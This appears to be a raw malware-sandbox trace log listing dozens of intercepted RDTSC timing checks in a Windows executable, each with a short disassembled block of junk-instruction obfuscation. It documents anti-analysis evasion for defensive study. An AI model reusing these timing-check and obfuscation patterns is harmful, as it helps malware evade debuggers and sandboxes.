Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C690F6 second address: C69105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FD2D8B2F876h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69105 second address: C69113 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FD2D8EB8E42h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69113 second address: C69122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD2D8B2F876h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EC08 second address: C6EC0D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EC0D second address: C6EC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007FD2D8B2F87Ch 0x0000000b ja 00007FD2D8B2F876h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD2D8B2F883h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71177 second address: C7117B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7117B second address: C7119C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD2D8B2F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FD2D8B2F87Fh 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C711EE second address: C711F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71307 second address: C7130D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7130D second address: C71311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71311 second address: C7132B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD2D8B2F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007FD2D8B2F876h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7132B second address: C71331 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71331 second address: C71336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71336 second address: C71364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FD2D8EB8E36h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e sbb edx, 78969D5Bh 0x00000014 lea ebx, dword ptr [ebp+12454F29h] 0x0000001a mov cx, 500Fh 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD2D8EB8E3Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71364 second address: C71373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8B2F87Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C713DA second address: C7141C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push edi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop edi 0x0000000c jnp 00007FD2D8EB8E3Ch 0x00000012 jp 00007FD2D8EB8E36h 0x00000018 popad 0x00000019 nop 0x0000001a call 00007FD2D8EB8E3Ah 0x0000001f sub dl, 00000039h 0x00000022 pop edx 0x00000023 mov dx, bx 0x00000026 push 00000000h 0x00000028 xor dword ptr [ebp+122D1834h], eax 0x0000002e push 93A5B048h 0x00000033 jnl 00007FD2D8EB8E44h 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c pop eax 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9242C second address: C92445 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD2D8B2F876h 0x00000008 jmp 00007FD2D8B2F87Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C903A6 second address: C903AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C903AA second address: C903B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C903B4 second address: C903CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E42h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C903CA second address: C903D4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2D8B2F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C903D4 second address: C903F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD2D8EB8E42h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C903F7 second address: C903FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C905BB second address: C905C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C905C7 second address: C905E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C90D8B second address: C90D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C91325 second address: C91329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C914AB second address: C914CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD2D8EB8E3Ch 0x0000000e jmp 00007FD2D8EB8E3Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C914CB second address: C914D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88E52 second address: C88E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88E56 second address: C88E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C91C1F second address: C91C3E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FD2D8EB8E44h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C922CE second address: C922DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C922DA second address: C922E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD2D8EB8E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C922E4 second address: C922E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58549 second address: C5854D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9600B second address: C96054 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 ja 00007FD2D8B2F88Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FD2D8B2F887h 0x00000016 js 00007FD2D8B2F87Eh 0x0000001c jbe 00007FD2D8B2F876h 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99E23 second address: C99E28 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98D18 second address: C98D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98D1C second address: C98D22 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98D22 second address: C98D27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6267F second address: C6268F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8EB8E3Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6268F second address: C62693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C62693 second address: C626AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD2D8EB8E41h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C626AD second address: C626C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edx 0x00000009 jmp 00007FD2D8B2F87Ah 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C626C7 second address: C626CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C626CB second address: C626CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0FD7 second address: CA0FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E3Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0FE6 second address: CA0FF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 ja 00007FD2D8B2F876h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0FF6 second address: CA0FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA12B6 second address: CA12BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA12BE second address: CA12C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA12C9 second address: CA12CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA12CD second address: CA12D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA12D3 second address: CA12D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA12D9 second address: CA12F1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b jl 00007FD2D8EB8E36h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA12F1 second address: CA12FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1627 second address: CA162D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3165 second address: CA316B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA316B second address: CA31A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FD2D8EB8E45h 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jnc 00007FD2D8EB8E3Ch 0x00000014 ja 00007FD2D8EB8E36h 0x0000001a push ebx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d pop ebx 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 jno 00007FD2D8EB8E36h 0x00000027 pop edx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA31A8 second address: CA31AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5540 second address: CA5544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5805 second address: CA581E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8B2F885h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6054 second address: CA607C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD2D8EB8E3Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA705D second address: CA7061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6F0D second address: CA6F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA70F6 second address: CA7100 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD2D8B2F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6F12 second address: CA6F1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FD2D8EB8E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA81FC second address: CA8274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp], eax 0x00000008 jnc 00007FD2D8B2F87Bh 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FD2D8B2F878h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a and edi, dword ptr [ebp+122D2A9Bh] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007FD2D8B2F878h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c jmp 00007FD2D8B2F87Bh 0x00000051 push eax 0x00000052 pushad 0x00000053 jbe 00007FD2D8B2F87Ch 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8274 second address: CA827B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA3DF second address: CAA464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD2D8B2F87Dh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jg 00007FD2D8B2F87Eh 0x00000014 nop 0x00000015 mov dword ptr [ebp+1245E712h], edi 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FD2D8B2F878h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D2E27h], edx 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ebp 0x00000042 call 00007FD2D8B2F878h 0x00000047 pop ebp 0x00000048 mov dword ptr [esp+04h], ebp 0x0000004c add dword ptr [esp+04h], 00000018h 0x00000054 inc ebp 0x00000055 push ebp 0x00000056 ret 0x00000057 pop ebp 0x00000058 ret 0x00000059 jp 00007FD2D8B2F877h 0x0000005f stc 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jng 00007FD2D8B2F878h 0x00000069 push ecx 0x0000006a pop ecx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC704 second address: CAC719 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8AF8 second address: CA8B02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FD2D8B2F876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8B02 second address: CA8B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FD2D8EB8E47h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD1A8 second address: CAD238 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2D8B2F878h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 pop esi 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FD2D8B2F878h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c pushad 0x0000002d mov dword ptr [ebp+122D1CFBh], edi 0x00000033 and edx, dword ptr [ebp+122D3913h] 0x00000039 popad 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007FD2D8B2F878h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 0000001Bh 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 jnp 00007FD2D8B2F87Eh 0x0000005c jno 00007FD2D8B2F878h 0x00000062 add dword ptr [ebp+122D1A20h], edx 0x00000068 push 00000000h 0x0000006a movzx esi, si 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007FD2D8B2F87Ch 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE6A8 second address: CAE6AD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0BE7 second address: CB0BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0BEB second address: CB0C06 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD2D8EB8E45h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB21EF second address: CB2200 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2200 second address: CB2204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2204 second address: CB220A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB220A second address: CB221C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD2D8EB8E3Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB221C second address: CB2281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 pushad 0x00000009 mov di, si 0x0000000c popad 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FD2D8B2F878h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 sub dword ptr [ebp+12482161h], esi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007FD2D8B2F878h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000019h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b stc 0x0000004c mov ebx, esi 0x0000004e xchg eax, esi 0x0000004f push eax 0x00000050 push edx 0x00000051 push ebx 0x00000052 pushad 0x00000053 popad 0x00000054 pop ebx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2281 second address: CB22A0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD2D8EB8E3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FD2D8EB8E3Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADB3F second address: CADB44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
